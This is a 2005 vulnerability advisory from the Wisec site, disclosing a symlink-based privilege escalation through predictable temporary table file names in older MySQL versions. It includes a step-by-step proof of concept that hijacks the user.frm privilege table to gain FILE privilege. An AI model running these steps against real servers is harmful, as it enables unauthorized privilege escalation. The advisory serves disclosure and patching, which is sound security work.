THP Wisec USH DigitalBullets TheHackersPlace network
The WIse SECurity
.italian
.english
Wisec Home SecSearch Projects Papers Security Thoughts
 
News Search on Wisec
Google

Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalation

Title:

Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalation

Author:

Stefano Di Paola

Vulnerable:

MySQL <= 4.0.23, 4.1.10

Type of Vulnerability:

Local insecure temporary file creation

Tested On :

Mandrake 10.1 /Debian Sarge

Vendor Status:

Notified on March, 2nd 2005, Confirmed on 3rd March 2005, New versions released on 11th March 2005

Resources:

Published on Vulnwatch

Description

If an authenticated user has CREATE TEMPORARY TABLE privileges on any
existent database, a symlink attack is possible. 

The problem resides in the fact that MySql:

1. uses a predictable name when creates temporary files:

mysql_priv.h:
   251:     #define tmp_file_prefix "#sql"                     /* Prefix
for tmp tables */
         
         
sql_table.cc:
   724:  if (create_info->options & HA_LEX_CREATE_TMP_TABLE)
   725:  {
-> 726:    sprintf(path,"%s%s%lx_%lx_%x%s",mysql_tmpdir,tmp_file_prefix,
-> 727:     current_pid, thd->thread_id, thd->tmp_table++,reg_ext);
-> 728:    create_info->table_options|=HA_CREATE_DELAY_KEY_WRITE;
   729:  }
   730:  else
   731:    (void) sprintf(path,"%s/%s/%s%
s",mysql_data_home,db,alias,reg_ext);

  if is a temporary table, a temporary filename is generated by using,
  /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.frm
  /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYI
  /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYD


2. usually (could be changed) it creates such temporary files in a
temporary directory with sticky
bit on (/tmp or /var/tmp), accessible by all users.

Poc:
User table will be our target, but the only thing we can change is the
declaration table user.frm as the other 
files .MYI and .MYD are in a different format (it seems).

Let's authenticate and use a DB on which we have CREATE TEMPORARY table
access.
$ mysql -u user -p test

mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1));
Query OK, 0 rows affected (0.05 sec)

mysql> system ls /tmp/#sql* -l
-rw-rw----  1 mysql   mysql   8564 gen 30 13:31 #sql1d05_4_0.frm
-rw-rw----  1 mysql   mysql      0 gen 30 13:31 #sql1d05_4_0.MYD
-rw-rw----  1 mysql   mysql   1024 gen 30 13:31 #sql1d05_4_0.MYI
mysql>system ln -s /var/lib/mysql/mysql/user.frm /tmp/#sql1d05_4_1.frm
mysql>system ls /tmp/#sql* -l
-rw-rw----  1 mysql   mysql   8564 gen 30 13:31 #sql1d05_4_0.frm
-rw-rw----  1 mysql   mysql      0 gen 30 13:31 #sql1d05_4_0.MYD
-rw-rw----  1 mysql   mysql   1024 gen 30 13:31 #sql1d05_4_0.MYI
lrwxrwxrwx  1 stefano stefano   29 gen 30 13:38 #sql1d05_4_1.frm
-> /var/lib/mysql/mysql/user.frm
mysql>

Now we have a symlink on user.frm.
Now we will create a tmp table with File_Priv ENUM FIELD privilege
inverted.
This will allow us to have privileges where we hadn't before.

mysql> CREATE TEMPORARY TABLE user (
    -> Host char(60) binary DEFAULT '' NOT NULL,
    -> User char(16) binary DEFAULT '' NOT NULL,
    -> Password char(16) binary DEFAULT '' NOT NULL,
    -> Select_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Insert_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Update_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Delete_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Create_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Drop_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Reload_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Shutdown_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Process_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> File_priv enum('Y','N') DEFAULT 'N' NOT NULL,   /*<-- look here*/
    -> Grant_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> References_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Index_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Alter_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Show_db_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Super_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Create_tmp_table_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Lock_tables_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Execute_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Repl_slave_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> Repl_client_priv enum('N','Y') DEFAULT 'N' NOT NULL,
    -> ssl_type enum('','ANY','X509', 'SPECIFIED') DEFAULT '' NOT NULL,
    -> ssl_cipher BLOB NOT NULL,
    -> x509_issuer BLOB NOT NULL,
    -> x509_subject BLOB NOT NULL,
    -> max_questions int(11) unsigned DEFAULT 0  NOT NULL,
    -> max_updates int(11) unsigned DEFAULT 0  NOT NULL,
    -> max_connections int(11) unsigned DEFAULT 0  NOT NULL,
    -> PRIMARY KEY Host (Host,User)
    -> ) type = MYISAM
    -> comment='Users and global privileges';
Query OK, 0 rows affected (0.15 sec)

mysql> system ls /tmp/#sql* -l
-rw-rw----  1 mysql   mysql   8564 gen 30 13:31 /tmp/#sql1d05_4_0.frm
-rw-rw----  1 mysql   mysql      0 gen 30 13:31 /tmp/#sql1d05_4_0.MYD
-rw-rw----  1 mysql   mysql   1024 gen 30 13:31 /tmp/#sql1d05_4_0.MYI
lrwxrwxrwx  1 stefano stefano   29 gen 30 13:38 /tmp/#sql1d05_4_1.frm
-> /var/lib/mysql/mysql/user.frm
-rw-rw----  1 mysql   mysql      0 gen 30 13:42 /tmp/#sql1d05_4_1.MYD
-rw-rw----  1 mysql   mysql   1024 gen 30 13:42 /tmp/#sql1d05_4_1.MYI
mysql> select * from tmp_table into outfile '/tmp/dd';
ERROR 1045: Access denied for user: 'user@localhost' (Using password:
YES)
mysql> quit
Bye

Now we should force or wait MySql to restart in order to give it the
chance to re-read user table.

#/etc/init.d/mysql restart

$mysql -u user -p test
Enter password:

mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1));
Query OK, 0 rows affected (0.00 sec)

mysql> select * from tmp_table into outfile '/tmp/123';
Query OK, 0 rows affected (0.00 sec)

mysql> system ls /tmp/123 -l
-rw-rw-rw-  1 mysql mysql 0 gen 30 13:54 /tmp/123
mysql> quit
Bye

We got it.

Solution

Mysql released a patch. New versions for MySQL 4.0.24 and 4.1.10a have been released. Download them to fix the issue. Thanks to MySQL Company people, they where very kind and professional.

Disclaimer

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

Florence, 11th March 2005

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.